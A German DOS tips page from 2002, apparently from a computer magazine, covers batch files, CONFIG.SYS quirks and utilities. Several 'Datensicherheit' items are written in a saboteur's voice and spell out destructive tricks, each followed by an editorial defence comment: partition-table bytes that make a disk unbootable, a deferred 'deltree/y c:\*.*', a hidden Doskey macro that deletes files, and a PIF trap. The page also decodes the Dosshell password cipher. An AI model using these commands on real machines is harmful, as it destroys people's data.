Tipps "n" Tricks
Betriebssysteme - DOS 

Last Update: 19. März 2002/Webmaster

DOS 
37 Themen

alphabetisch sortiert

"." statt "*.*": Kürzer ist schneller:
Thema: Hantieren mit Dateien
  Machen Sie mal einen Punkt! Die meisten internen Command-Befehle und externen DOS-Dienstprogramme sind nämlich nicht auf die umständlich einzugebende Dateimaske "*.*" angewiesen. Wenn Sie etwa alle Dateien eines Verzeichnisses kopieren wollen, reicht die Eingabe "copy . a:" aus.

 

"Maus nicht gefunden":
Thema: AUTOEXEC.BAT
  Der Start des Maustreibers in der AUTOEXEC.BAT verläuft nicht immer erfolgreich. Der Microsoft-Treiber und häufiger noch der Logitech-Treiber scheitern zuweilen mit der Meldung "Maus nicht gefunden". Diesem Verhalten lässt sich aber auf recht einfache Weise vorbeugen, weil der COM-Treiber den fehlgeschlagenen Ladevorgang mit einem Errorcode quittiert. Die AUTOEXEC.BAT kann daher den Errorlevel abfragen und bei Wert 1 den Treiber erneut starten:

:Maus
lh c:\dos\mouse.com
if errorlevel 1 goto Maus

Mit Hilfe dieser Schleife erhalten Sie immer einen korrekt initialisierten Maustreiber, da der Start spätestens beim zweiten oder dritten Durchlauf gelingen wird.-ha

 

Änderungen am Bootsektor:
Thema: Bios-Einstellung
  Ich experimentiere auf meinem Rechner sehr viel mit verschiedenen Betriebssystemen und Software. Jedesmal, wenn ich alles lösche und MS-DOS neu installiere, erscheint die Meldung "!!! Warning !!! Disk Bootsector is to be modified. Type Y to accept, any key to abort." Was hat diese Meldung zu bedeuten? Muss ich befürchten, dass meine Festplatte oder ein anderer Teil meines Rechners dadurch Schaden nimmt? Harald M., Essen

Diese Meldung kommt vom Bios Ihres Rechners. Neuere Bios-Typen bieten die Option, einen Zugriff auf den Bootsektor erst nach einer Rückfrage zuzulassen. Meistens versteckt sich die entsprechende Einstellung im Bios-Setup hinter "Virus-Protection" oder einem ähnlichen Menüpunkt. Solange dieser Schutz aktiv ist, müssen Sie jeden Zugriff auf den Bootsektor eigens bestätigen. Auf den Bootsektor der Festplatte wird normalerweise nur beim Formatieren zugegriffen. Deshalb steckt hinter einem Schreibzugriff auf diesen Bereich mit hoher Wahrscheinlichkeit der Versuch eines Virus, Ihre Festplatte in Besitz zu nehmen und sich im Boot- oder Partitionssektor breitzumachen.
"Legale" Zugriffe auf den Bootsektor finden nur selten statt - beispielsweise bei einer Neu-Installation von MS-DOS, dem Umbenennen der Festplatte mit dem DOS-Befehl "Label" oder der Installation von Festplattenmanagern wie dem Ontrack-Disk-Manager. Wenn Sie solche Software installieren oder eben die Platte umbenannt haben, können Sie die Warnung getrost ignorieren; in allen anderen Fällen sollten Sie das gerade ablaufende Programm jedoch auf Viren prüfen. -ts

 

Attrib Effektive: Attribut-Entsorgung:
Thema: Hantieren mit Dateien
  Viel Tipparbeit ersparen Sie sich beim Attrib-Befehl unter DOS 6. x, wenn Sie statt der lästigen Anweisung

attrib -s -r -a -h *.*

die undokumentierte Alternative "attrib, " verwenden. In einem Rutsch sind damit alle Dateiattribute entfernt, in Kombination mit dem Schalter/s sogar in sämtlichen Unterverzeichnisssen. Gefährlich ist diese bequeme Anweisung allerdings im Wurzelverzeichnis, in dem sich wichtige Systemdateien befinden. Unter DOS 7 (Windows 95) funktioniert der Komma-Quickie leider nicht mehr.

 

Batchfortschritte:
Thema: 4DOS
  Power-Usern sind die Batch-Möglichkeiten von COMMAND.COM zu mickrig. Deshalb erfreut sich der Shareware-Ersatz 4DOS (erhältlich bei Computer Solutions in Grafing, Tel. 08092/5018, Fax 08092/31727, oder über die PC-WELT-Mailbox, Tel. 089/36086-357) grosser Beliebtheit. Dieser alternative Kommando-Interpreter bereichert den DOS-Alltag nicht nur um viele neue Befehle, sondern bringt auch die Batchverarbeitung auf Trab.
Einen Beitrag dazu leisten Batchdateien mit der Endung BTM: Die Abkürzung steht für "Batch to Memory". Im Gegensatz zu BAT-Dateien lädt 4DOS bei BTM-Dateien den gesamten Inhalt auf einen Rutsch in den Arbeitsspeicher und beginnt erst dann mit dem Abarbeiten der Befehle. Gegenüber dem lahmen Verfahren von COMMAND.COM bringt die BTM-Variante eine erhebliche Geschwindigkeitssteigerung. Die Methode ist allerdings problematisch, wenn Sie speicherresidente Programme in einer Batchdatei laden wollen. Dadurch wird nämlich der Arbeitsspeicher fragmentiert. Sie brauchen deswegen aber nicht gleich auf die Vorteile der BTM-Dateien zu verzichten: Mit "loadbtm on" oder "off" lässt sich auch in BAT-Dateien der BTM-Modus für unproblematische Anweisungsblöcke ein- und vor TSR-Programmen wieder ausschalten.
Neben zahlreichen Verbesserungen, zum Beispiel der Erhöhung der Anzahl möglicher Parameter auf 127, besitzt der Shareware-Ersatz 4DOS eine Komprimierungs-Option für Batchdateien. Mit Hilfe des Programms Batcomp können Sie ihren Platzbedarf reduzieren und gleichzeitig verhindern, dass sie jemand eigenmächtig verändert: Nach dem Einsatz von Batcomp liegen sie nämlich im Binärformat vor. -ws

 

Bug mit Wildcards:
Thema: Kopierfehler
  Einen kleinen Bug hat der COPY-Befehl von MS-DOS 7. Wenn Sie beim Kopieren von Dateien Wildcards verwenden, indem Sie beispielsweise

copy pbrus*.exe pbrush.bak

eingeben, so erhalten Sie statt einer neuen Datei mit identischem Inhalt lediglich eine verstümmelte Datei. -rb

 

CANCEL.BAT:
Thema: Externer Abbruchbefehl
  Bei komplizierten Batchdateien wird es manchmal schwierig, die Sprungmarken und Abbruchbedingungen korrekt zu setzen. Anders als Novell-DOS bietet MS-DOS keinen Abbruchbefehl, um - abhängig von einer Bedingung - einen Stapel zu beenden. So muss stets eine zusätzliche Sprungmarke ":Ende" herhalten, um die Batchbearbeitung abzuschliessen.
Was spricht dagegen, einen speziellen externen Cancel-Befehl einzuführen? Es genügt, eine weitere Batchdatei namens CANCEL.BAT anzulegen, die im einfachsten Fall lediglich die Zeile "@echo off" oder auch gar nichts enthält. Mehr Informationen bekommt der Anwender schon, wenn mit "cancel %0" der Name der Batchdatei übergeben wird und CANCEL.BAT diesen dann mit "@echo ...%1 beendet" am Bildschirm des Rechners ausgibt.
Noch mehr Substanz erhält die Cancel-Datei, wenn Sie ihr gleich noch typische Aufräumfunktionen übertragen, die Sie dann nicht mehr in den einzelnen Batchdateien unterbringen müssen. Die Abbruchroutine CANCEL.BAT könnte beispielsweise alle übergebenen temporären Dateien und Umgebungsvariablen löschen. -gf

 

Command Selten nützlich: TRUENAME:
Thema: Hantieren mit Dateien
  Viele DOS-Befehle sind aus gutem Grund undokumentiert - der Anwender könnte damit bei unsachgemässem Gebrauch Schaden anrichten. Es gibt aber auch einen DOS-Befehl, der wohl deshalb seit Jahren undokumentiert blieb, weil sich (fast) kein sinnvoller Einsatzzweck erkennen lässt. Mit TRUENAME erhalten Sie wie mit CD den aktuellen Verzeichnisnamen. Der einzige
Vorteil zeigt sich beim gleichzeitigen Einsatz der Hilfsprogramme Subst und Append: TRUENAME lässt sich durch solche Zuordnungen nicht täuschen, sondern zeigt die korrekten Pfade an.

 

Command/f: Lästige Unterbrechung beseitigt:.
Thema: Datenträger und Datenträgerverwaltung
  Zu den Eigenheiten von DOS gehört die umständliche Vorgehensweise, wenn Sie auf ein Laufwerk zugreifen, in dem sich keine Diskette befindet. Sofort kommt die Meldung
Nicht bereit beim Lesen von
Laufwerk B: (A) bbrechen, (W) iederholen, (U) ebergehen?
Unbarmherzig müssen Sie jetzt die Taste "U" drücken. Daraufhin erscheint die Meldung, das aktuelle Laufwerk sei nicht mehr gültig. Erst jetzt dürfen Sie das Laufwerk ansprechen oder die Operation abbrechen. Wie unnötig dieser Aufwand ist, beweist der Einsatz des Schalters/f in der Datei CONFIG.SYS. Nach der Anweisung

shell=c:\dos\command. com c:\dos\ /e:256 /p /f

weiss DOS gleich Bescheid, und Sie können sofort weiterarbeiten.

 

COPY NUL: Gründliches Löschen:
Thema: Hantieren mit Dateien
  Wenn Sie beim Löschen von Dateien unter DOS 6. x und 7 auf Nummer Sicher gehen wollen, sollten Sie sich den folgenden Befehl ansehen. Mit der Anweisung

copy nul privat.txt

löschen Sie eine Datei recht gründlich. Zunächst lässt jedoch die Meldung "0 Datei( en) kopiert" vermuten, es sei gar nichts geschehen. Wenn Sie jetzt aber mit DIR das Verzeichnis ausgeben, stellen Sie fest, dass die Datei PRIVAT.TXT fehlt. Versuchen Sie nun mit UNDELETE die Datei aufzuspüren, werden Sie zwar eine gleichnamige Datei finden -doch die ist lediglich 0 Byte gross und lässt sich auf diesem Weg nicht mehr wiederherstellen.

 

Dateiarchive aktualisieren:
Thema: 4DOS
  Problem: Ein lokales Datenarchiv soll ständig aktualisiert werden, um stets die gleichen Dateien zu enthalten wie das Ausgangsarchiv auf einem anderen Datenträger (etwa im Netz). Es sollen also sowohl neu hinzugekommene Dateien kopiert als auch geänderte Dateien überschrieben werden. Was tun?

Lösung: Bei derartigen Alltagsproblemen sind MS-DOS und Windows (3.11 wie 95) ziemlich hilflos. Windows 3.1x erweist sich als völlig unbrauchbar, und DOS arbeitet nur dann erfolgreich, wenn das Archiv keine Unterverzeichnisstruktur enthält: Nur für diesen Fall reicht die folgende Konstruktion:

for %x in (n:\basis\*.*) do if not exist c:\ziel\%x copy %x c:\ziel

Bei einem Archiv mit Unterverzeichnissen kommt man weder mit Xcopy, Xcopy32, Replace noch mit einer Kombination dieser Dienstprogramme ans Ziel. Bevor Sie nun das schwächelnde MS-DOS mit einer Qbasic-Lösung aufbohren, sollten Sie für solche oder ähnliche Aufgaben folgende Alternativen in Betracht ziehen: Der Norton Commander enthält unter "Optionen, Konfiguration" die Option "Kopiere nur neuere Dat." mit genau der gewünschten Funktion. Einziger, aber gravierender Nachteil dieser Alternative ist nur, dass sie immer den manuellen Aufruf des Commanders und das Einstellen der Verzeichnisse erfordert. Eine vollautomatische Lösung erlauben hingegen Packer wie Pkzip:

pkzip c:\ziel -rP -u n:\basis\*.*

Die Update-Option "-u" packt nur bisher nicht existierende Dateien dazu und aktualisiert ausserdem geänderte. Der grosse Nachteil dieser Methode: Die Daten liegen dann im ZIP-Archiv. Sie müssen sie für jeden Zugriff erst einmal entpacken. Möchten Sie das nicht, bleiben die Kommando-Interpreter 4DOS oder NDOS (das lizenzierte 4DOS der Norton Utilities) als absolut beste Alternative. In 4DOS genügt die Zeile:

copy /u/s n:\basis\*.* c:\ziel

Der Schalter /u steht für "Update", /s berücksichtigt auch Unterverzeichnisse. Wer viele Batchdateien verwendet und die (geringen) Kompatibilitätsprobleme zwischen Command und 4DOS scheut, kann 4DOS auch ad hoc mit "4dos /c ..." einsetzen und damit jeweils wieder beenden. -ha

 

DOS-und Windows-Bug verhindert Booten:
Thema: Datensicherheit in der Praxis
  DOS im Teufelskreis: Ein besonders unglückliches Gesicht macht ein PC-Besitzer, wenn er beim Booten die Meldung "Bitte Systemdiskette einlegen" lesen muss. Noch verzweifelter wird er, wenn sogar diese Aufforderung ausbleibt. Stundenlanges
Suchen nach dem Fehler im CMOS-Setup ist die unausweichliche Folge. Anschliessend: Zerlegen des Geräts, Ausbau der Festplatte. Als Steigerung kann ich mir nur vorstellen, dass zusätzlich das Booten von Diskette fehlschlägt. Einem so Geschädigten bleibt nur der Weg in die Nervenheilanstalt. Intime Kenntnis der Bugs in MS-DOS 5.0 (und den nachfolgenden Versionen) versetzt mich in die Lage, jeder beliebigen Festplatte rigoros den Garaus zu machen. Das einzige benötigte Werkzeug ist ein Diskeditor, wie er zum Lieferumfang beispielsweise der Norton Utilities gehört. Ich suche damit in der Partitionstabelle die Eintragungen für die aktive Partition (leicht an der führenden "80" ab Offset 1DE von Zylinder 0, Sektor 0 zu erkennen) und ersetze ihn durch diese Byte-Folge:
0000 0100 0500 b80b 0100 0000 bc01 0000
Wenn der arglose Computer-Benutzer jetzt sein System startet, interpretiert DOS den Eintrag als eine nicht aktive, erweiterte (extended) Partition, beginnend bei Kopf 0, Zylinder 0, Sektor 1 und endend bei Kopf 0, Zylinder 523, Sektor 56. Da der Beginn dieser Partition identisch ist mit dem Master-Boot-Sektor (Kopf 0, Zylinder 0, Sektor 1), rotiert DOS bei der Suche nach aktiven Partitionen im Kreis (" rekursive Partition"). In der Folge bleibt das System im Bootvorgang stehen. Das Booten von Diskette hilft auch nicht weiter, denn hier versucht das Betriebssystem, die Festplatte zu initialisieren, und verfängt sich ebenfalls im Teufelskreis.
Wie Sie sich wehren -Kommentar der Redaktion Aus einem solchen Dilemma gibt es nur eine Rettung: Starten Sie von einer uralten Bootdiskette mit MS-DOS 3.3 oder DRDOS (Novell). Die älteren Versionen sind in der Lage, den Fehler abzufangen, und die Festplatte lässt sich dann immerhin neu partitionieren. Warum DOS 6. x oder Windows 95 dazu nicht fähig sind, bleibt ein Geheimnis von Microsoft.

 

EDIT.COM ist patchtauglich:
Thema: Binärdateien
  Der kleine DOS-Editor EDIT.COM eignet sich ausgezeichnet zum Editieren von Ascii-Dateien. Wird Edit mit einer Dateiangabe aufgerufen (etwa "edit config.sys" oder per Drag & Drop auf das Edit-Icon), so öffnet es diese Datei standardmässig als Ascii-Text. Bearbeiten und speichern Sie allerdings binäre Dateien (EXE-Dateien, Bilder, Tabellen, formatierte Texte) auf diese Weise, geht deren Format verloren. Die Datei ist damit in der Regel zerstört.
Edit ist dennoch gerüstet, auch binäre Dateien zu ändern: Sie können Edit ohne Dateiangabe starten, dann im Dialog "Datei, Öffnen" die Option "Binär öffnen" wählen und die gewünschte Datei erst dann öffnen. Damit können Sie auch Binärdateien bearbeiten.
Alternativ lädt Edit Dateien grundsätzlich im Binärformat, wenn Sie als Parameter eine Zahl angeben, die die Position des Zeilenumbruchs definiert:

edit /75 <datei>

In diesem Fall setzt Edit nach dem 75. Zeichen einen Zeilenumbruch und öffnet die angegebene Datei im Binärformat. Wenn Sie das wünschen, lässt sich das auch in einer Verknüpfung zu Edit als Standard festlegen. Der Parameter mit nachfolgender Zeichenzahl pro Zeile ist ausreichend dokumentiert, wenn Sie "edit /?" eingeben. Aber wer kommt schon auf die Idee, den simplen Editor auf seine Parameter hin zu untersuchen?

 

Fehler bei neueren 1-GB-Festplatten:
Thema: Doublespace/Drivespace
Betriebssystem: MS-DOS 6.0 6.2 6.22
  Der Festplatten-Komprimierer Doublespace von MS-DOS 6.0 und 6.2 und sein Nachfolger Drivespace, der mit DOS 6.22 ausgeliefert wird, können komprimierte Laufwerke bis zu 512 MB erstellen. Bei einer grösseren Festplatte wählt der Komprimierer automatisch eine Teilkomprimierung des Laufwerks. Probleme gibt es aber, wenn die Festplatte zwischen 1028 und 1153 MB fasst - eine verbreitete Kapazität neuerer Gigabyte-Platten. Dann beschwert sich Doublespace über zuwenig Platz auf der Platte und bemängelt, dass noch Dateien auf dem unkomprimierten Laufwerk zurückgeblieben seien. Ausserdem ist es ärgerlich, dass sich der Kompressionsfaktor maximal auf "1,5" einstellen lässt.

 

Finaler Schuss mit Verzögerung:
Thema: Datensicherheit in der Praxis
  Gefährlicher DOS-Befehl: Meine Toleranzgrenze hinsichtlich W. ist endgültig überschritten, da er mich gestern erneut beim Chef angeschwärzt hat. Heute mittag nutze ich seine Abwesenheit für einen finalen Anschlag: Ich beende sein laufendes Windows und starte es neu mit:
win| deltree/y c:\*.*
Nach seiner Pause kann er sich meinetwegen stundenlang unter Windows vergnü-gen. Sobald er es aber verlässt, schlägt Deltree zu. Was Domestos für die Kloschüssel, ist der DOS-Befehl Deltree für den PC. Ich gehe heute lieber schon etwas früher nach Hause. Je weiter ich weg bin, desto weniger kann ich schuld sein ...
Wie Sie sich wehren -Kommentar der Redaktion Die schlimmsten Attentate auf Ihre Daten drohen durch die DOS-Befehle Deltree und Format. Wenn Sie Anschläge dieser Art befürchten, sollten Sie die betreffenden Programmdateien von der Festplatte nehmen oder dezent umbenennen. Gegen den Angriff im Vorbeigehen reichen auch Doskey-Makros.
TIP: Folgendes Makro "Deltree", das auf eine gleichnamige Batchdatei DELTREE.BAT verweist (doskey deltree= deltree.bat), simuliert die übliche Löschaktion:

@ctty nul
echo \DOS wird gelöscht... > con
chkdsk c:
echo \DATA wird gelöscht... > con
dir \/s
...

Damit verhelfen Sie dem bösartigen Kollegen zu einem entspannenden Gefühl der Befriedigung, ohne dass er tatsächlich Ihre Daten behelligt. Wir überlassen es Ihrer schauspielerischen Begabung, zusätzlich schluchzend über den Flur zu ziehen ...

 

Immer Ärger mit Doskey-Makros:
Thema: Datensicherheit in der Praxis
  Dubiose Doskey-Makros (I): Meine Alleinherrschaft am DOS-Prompt scheint längst gebrochen. Immer mehr Kollegen glauben, ein Blick ins Handbuch oder in die kümmerliche Online-Hilfe würde sie lehren, was alles in DOS steckt. Um sie wieder auf den Boden der Realität herunterzuholen, setze ich meinen alten Freund Doskey ein.
Dazu muss ich ihn zuerst einmal lahmlegen, denn auch sein Leistungsumfang ist gut dokumentiert. Doskey weigert sich allerdings recht beharrlich, spurlos von der Bildfläche zu verschwinden. Befehle wie
doskey doskey= echo.
geben den gesamten Befehl hinter dem Gleichheitszeichen am Bildschirm aus und verraten so die bösen Pläne. Abhilfe schafft das Ascii-Zeichen 255. Zuerst erstelle ich eine Batchdatei mit diesem unsichtbaren Ascii-Zeichen als Namen und mit folgendem Inhalt:

@echo off
doskey win=win$techo j.| del c:\*.*
doskey doskey=< Alt>-< 2>,< 5>,< 5>

Die Batch bewirkt, dass Doskey nach aussen hin einwandfrei funktioniert. Zwischen der ersten und der letzten Dateizeile kann ich beliebige Doskey-Bosheiten treiben. Die letzte Zeile, die wieder mit dem unsichtbaren Zeichen endet, deaktiviert den Doskey-Aufruf selbst, der fürderhin nur noch diese Batch aufruft und keine Makros mehr definiert. Dubiose Doskey-Makros (II): Besonders schick finde ich diese unsichtbare Batchdatei mit einem Versteckt-Attribut, und der angestammte Aufruf für eine Ascii-255-Batch ist natürlich eine (unsichtbare!) Zeile in der AUTOEXEC.BAT. Halbgelehrte DOS-User sind mit solchen harmlosen Eingriffen schnell wieder auf dem Boden der Realität zurückgeholt. Übrigens: Zeile 2 meiner Batchdatei finde ich besonders gelungen. Zunächst wird hier nämlich Windows gestartet und erst beim Beenden -oder beim Start einer DOS-Box -schlägt DEL gnadenlos zu.
Wie Sie sich wehren -Kommentar der Redaktion Unter DOS aufgerufene EXE-oder COMProgramme starten zwar, aber sie tun nicht (oder mehr als das), was Sie von ihnen gewohnt sind? Dann kommen mehrere Ursachen in Betracht (abgesehen von technischen Problemen).
1. DOS findet im Pfad vor der gewünschten XYZ-Datei eine gleichnamige XYZ-Batchdatei, die zwar ihrerseits XYZ aufruft, aber vorher oder nachher unerwünschte Aktionen ausführt. Das ist leicht mit "dir/s \xyz" zu prüfen.
2. DOS findet ein Doskey-(oder Alias-) Makro, das grundsätzlich über externe EXE-oder COM-Dateien dominiert. Vorhandene Doskey-Makros können Sie üblicherweise mit "doskey/ m" kontrollieren, getarnte Doskey-Makros etwa mit ", , doskey/ m", da keine Tarnung solche Varianten einbeziehen kann.
3. Das aufgerufene Programm entspricht nicht dem Standardprogramm -auch wenn es dessen Namen trägt und so ziemlich das Gleiche tut. Vergleichen Sie die fragliche Datei hinsichtlich Grösse und Dateidaten oder sogar mit Hilfe von FC (Filecompare) mit der Originaldatei.

 

Kleiner Zählfehler in der CONFIG.SYS:
Thema: MS-DOS
  Falsche Einträge in der CONFIG.SYS quittiert MS-DOS seit der Version 6.0 mit der hilfreichen Meldung: "CONFIG.SYS enthält unbekannten Befehl. Fehler ... in Zeile XX". Wenn Sie nun meinen, Sie könnten mit dem DOS-Editor, der in der Statusleiste die Zeilenzahl anzeigt, den fehlerhaften Eintrag zielsicher ansteuern, sind Sie im Irrtum: DOS zählt nur korrekt bis zum Eintrag "SHELL=", danach stimmen die Angaben jedoch nicht mehr, da es diese Zeile doppelt zählt.
Erhalten Sie also die Meldung, Zeile 12 sei fehlerhaft, und steht die entsprechende Zeile nach dem Shell-Kommando, so befindet sich der Fehler in Wahrheit in Zeile 11 - also eine Zeile weiter oben. Sollten sich in der CON-FIG.SYS tatsächlich mehrere Shell-Aufrufe befinden, sind entsprechend viele Zeilen abzuziehen. Auf Fehler in der Shell-Zeile selbst reagiert die neue Fehlerkontrolle von MS-DOS überhaupt nicht: Meldungen über etwaige falsche Parameter stammen ausschliesslich von COMMAND.COM selbst. Die einfachste Lösung für dieses Problem besteht darin, die Shell-Zeile ans Ende der CONFIG.SYS zu versetzen.-aw
Kommentarzeichen definieren:
Thema: CONFIG.SYS
  CONFIG.SYS und AUTOEXEC.BAT sehen für Kommentare REM oder ein Semikolon vor. Für die CONFIG.SYS existiert der undokumentierte Befehl COMMENT, mit dessen Hilfe Sie eine eigene Kennung für Kommentare festlegen können. Diese bestehen maximal aus einer Kombination von zwei Zeichen. Sie dürfen sie direkt an die Befehlszeile anhängen und danach Ihren Kommentar eintragen.

comment //

legt zwei Schrägstriche als Kommentarzeichen fest und lässt etwa folgende Kommentierung zu:

[SingleDOS] //Abschnitt für DOS-Spiele

 

Komplexe Befehle per Hotkey: 
Thema: ANSI-Makros
  Mit geladenem ANSI.SYS lassen sich wie mit dem Doskey-Utility kleine Makros erstellen. Der Vorteil gegenüber Doskey-Makros ist die Möglichkeit der Funktionstastenbelegung: Sie brauchen keinen Makronamen mit der <Return>-Taste zu bestätigen, sondern definieren einen Hotkey, etwa <Alt>-<S>, für eine beliebige Aktion. Ein wesentlicher Nachteil gegenüber Doskey scheint hingegen die Beschränkung auf einen einzigen Befehl zu sein.
Tatsächlich besteht dieses Limit jedoch gar nicht: Sie können nämlich mit dem ASCII-Zeichen 20, das aussieht wie eine <Return>-Marke, mehrere DOS-Befehle in einer Kommandozeile verketten:

dir \ /s/-p > \liste <ASCII 20> edit \liste

Im DOS-Editor müssen Sie die Eingabe des Sonderzeichens mit <Strg>-<P> vorbereiten und erst danach <Alt>-<2>,<0> eingeben.
Ein typisches ANSI-Makro kann etwa so aussehen - es beginnt mit der Definition der zugewiesenen Tastenkombination:

echo <ASCII 27>[0;20;"...";13p

ASCII 27 übergeben Sie hier im DOS-Editor wieder mit <Strg>-<P> sowie <Alt>-<2>,<7> (oder einfach <Esc>). Nach der eckigen Klammer folgt der Tastaturcode. Den Hotkey entnehmen Sie Ihrem Handbuch oder der Online-Hilfe zu ANSI.SYS. "0;20" in unserem Beispiel steht für <Alt>-<T>.
Sodann folgen nach dem Anführungszeichen die gewünschten Befehle genau wie am Prompt. Mehrere aufeinanderfolgende Kommandos trennen Sie mit ASCII 20 voneinander. Das "13p" am Ende nimmt Ihnen das Eingabe-<Return> für den letzten Befehl ab. Zwischen den Klammern könnte nun ein DIR-Befehl stehen, der die Ausgabe in eine Datei umleitet (>...), als zweiter Befehl der Aufruf eines QBasic-Listings, das die Dateiliste sortiert oder auswertet, als weiterer Befehl ein Edit-Aufruf, der die Ergebnisdatei von QBasic editiert.
Schreiben Sie solche ANSI-Makros in die AUTOEXEC.BAT, stehen Ihnen die definierten Hotkeys bei jedem Start zur Verfügung. -rb
Kryptische Zeichen nach Eingabe von DIR:
Thema: Pannenhilfe
  Sie wechseln am DOS-Prompt mit "cd xxx" in ein Unterverzeichnis Ihrer Festplatte. Nach Eingabe von DIR erhalten Sie aber nicht wie gewöhnlich eine Aufstellung der enthaltenen Dateien. Vielmehr präsentiert sich Ihnen ein Durcheinander kryptischer Zeichen.
Sehr wahrscheinlich ist der FAT-Eintrag dieses Unterverzeichnisses defekt. Damit findet DIR statt der passenden Dateien nur Datenmüll. Da DOS eine Kopie der FAT anlegt, sollten Sie versuchen, das Problem mit einem Reparaturprogramm, beispielsweise mit dem Norton Disk Doctor aus den Norton Utilities (siehe Frage 29 "Rettungsring für die Dateizuordnungstabelle FAT", Seite 266) zu beseitigen. Der Disk Doctor vergleicht die beiden FAT-Kopien und versucht, die Einträge den richtigen Clustern zuzuweisen. Läuft alles erfolgreich, finden Sie ein neues Verzeichnis "DIR00000" mit den vermissten Dateien vor. Andernfalls müssen Sie auf ein hoffentlich vorhandenes Backup zurückgreifen. -tom
Lächerliches Dosshell-Passwort:
Thema: Datensicherheit in der Praxis
  G bedeutet A und so fort: Die Dosshell, dieses Mini-Windows unter DOS, war von Anfang an eine Totgeburt. Ein paar Sonderlinge gibt es aber doch, die sich für diese Shell erwärmen können. Manche von ihnen finden vor allem jene Option attraktiv, die es erlaubt, im Menü "Datei, Eigenschaften" gefährliche Programme mit einem Kennwort zu versehen. Lächerlich: Erstens kann ja jeder die Shell verlassen und am Prompt tun und lassen, was er will. Zweitens steht das Kennwort verschlüsselt in der DOSSHELL. INI. Selbst Achtjährige durchschauen diese Verschlüsselungsform: Ersetzt man jeden Buchstaben durch jenen, der im Alphabet sechs Stellen früher auftritt, erhält man das ursprüngliche Kennwort. Ein G steht also für A, H für B und so fort. Die "verschlüsselten" Buchstaben A bis F repräsentieren U bis Z.

 

Logbuch über Häufigkeit der Rechnerstarts:
Thema: Boot-Information
  Wenn Sie wissen wollen, wie häufig Sie Ihren Rechner neu starten müssen, um auf diese Weise herauszufinden, wie oft Ihr Rechner im Durchschnitt pro Tag abstürzt, dann können Sie dies ganz einfach mit ein paar zusätzlichen Zeilen in der AUTOEXEC.BAT bewerkstelligen:

ECHO. >> BOOT.LOG
ECHO.|DATE|FIND "Geg" >> BOOT.LOG
ECHO.|TIME|FIND "Geg" >> BOOT.LOG

Wenn Sie eine Multiboot-Konfiguration eingerichtet haben, dann können Sie Informationen über die Beliebtheit der einzelnen Boot-Optionen bekommen, wenn Sie zusätzlich diese Zeile eintragen:

ECHO %CONFIG% >> BOOT.LOG

Ab nun fügt jeder Neustart die gewünschten Informationen in die Datei BOOT.LOG ein -ws

 

Mit X.BAT Windows überlisten:
Thema: Ausführen-Dialog
  Problem: Wenn Sie unter "Datei, Ausführen" im Programm-Manager oder "Start, Ausführen" im Explorer einen Befehl wie "dir /s *.txt" eingeben, erhalten Sie eine Meldung, dass die Datei oder Komponente "dir" nicht zu finden sei.

Lösung: Windows sucht zwar den Pfad nach externen EXE- und COM-Dateien ab, wird aber in diesem Fall nicht fündig - eine DIR.EXE existiert bekanntlich nicht. Es handelt sich um einen internen Befehl des Kommando-Interpreters COMMAND.COM. Ebenso scheitern Aufrufe von Doskey-Makros oder Alias-Kommandos (4DOS) am Windows-Prompt, weil sie den laufenden Kommando-Interpreter voraussetzen.
Es hilft also nur die Eingabe "command /c dir /s *.txt", die Command zusätzlich mit dem gewünschten Befehl startet. Diese Eingabe ist jedoch recht mühsam. Wenn Sie solche Ausflüge nach DOS häufiger benötigen, erstellen Sie sich am besten eine X.BAT folgenden Inhalts:

%1 %2 %3 %4 %5 %6 %7 %8 %9
pause

Damit verkürzen Sie die Eingabe am Windows-Prompt auf "x dir /s *.txt". Im übrigen brauchen Sie nicht zu unterscheiden, ob es sich um einen internen, externen oder einen Doskey-Befehl handelt: Mit "x ..." gestartete DOS-Module findet Windows nun auf jeden Fall. -rb

 

MOVE. EXE: Illegale DOS-Namen:
Thema: Hantieren mit Dateien
  Das DOS-Utility MOVE.EXE lässt sich auch zum Umbenennen von Dateien einsetzen. Dabei erlaubt es -wie etwa der Norton Commander - die Eingabe illegaler Datei- oder Verzeichnisnamen mit Leerzeichen:

move dos "d o s"

Diese Funktion ist nützlich, wenn Sie etwa ein Pfadverzeichnis vorübergehend deaktivieren wollen.

 

Phantom-Verzeichnisse:
Thema: MS-DOS
  Eher kurios ist ein Fehler des CD-ROM-Treibers MSCDEX.EXE aus MS-DOS. Wenn Sie am DOS-Prompt auf das CD-ROM-Laufwerk wechseln, können Sie mit CD in Verzeichnisse mit den sonderbarsten Namen wechseln, auch wenn diese gar nicht existieren. So befinden Sie sich nach Eingabe des Befehls

cd Ä\Ö\Ü\ss\°\µ

im Verzeichnis Ä\Ö\Ü\ss\°\µ, obwohl es dieses Verzeichnis gar nicht gibt. Zusätzlich ist kurios, dass MSDEX.EXE zwar Unsinn akzeptiert - aber bei weitem nicht jeden. Zum Beispiel wird ein Verzeichnis namens "a" ebenso abgelehnt wie "äa", während die Verzeichnisse "ä" und "aä" anscheinend keinerlei Probleme bereiten. -bk

 

PIF -Perverted Information File:
Thema: Datensicherheit in der Praxis
  Windows ungünstig informiert: Für meine Mitmenschen sind PIF-Dateien für DOS-Programme unter Windows ein Buch mit sieben Siegeln. Ich konnte mit ihrer Hilfe
schon manchen Kollegen in die pure Verzweiflung treiben. Das sieht dann etwa so aus, dass der Betroffene eine DOS-Box startet und diese dann einfach nicht mehr los wird: "exit" funktioniert nicht, ebensowenig <Alt>-< Tab> oder <Alt> -< Esc>. Mit <Alt>-< Return> zum Fenster verkleinern und dann über die Titelleiste schliessen? Geht auch nicht! Mit etwas Glück gelingt allenfalls noch der harte Abbruch mit dem Drei-Finger-Griff, ohne dass dabei ganz Windows mit abstürzt. Der Kollege wird sich hüten, noch einmal eine DOS-Box zu starten!
Wie Sie sich wehren -Kommentar der Redaktion Die PIF-Datei enthält offenbar den Aufruf "command/p", was einen normalen Abschluss mit "exit" unterbindet. Ausserdem sind die üblichen Tastenkombinationen für Windows (wie <Alt>-< Tab>) allesamt für die DOS-Box reserviert, so dass Windows darauf nicht mehr ansprechen kann. Diese Eingriffe sind mit dem PIF-Editor (PIFEDIT. EXE) -unter Windows 95 über das Eigenschaften-Menü -problemlos rückgängig zu machen.

 

Probleme mit der CONFIG.SYS:
Thema: FC.EXE
  Das MS-DOS-Programm FC.EXE dient zum Vergleich von Ascii-Dateien. Besonders nützlich ist dieses Tool, um Veränderungen an Konfigurationsdateien zu überwachen. Mit der CONFIG.SYS scheint FC allerdings Probleme zu haben. Geben Sie etwa FC ohne Optionen ein,
fc config.sys config.bak

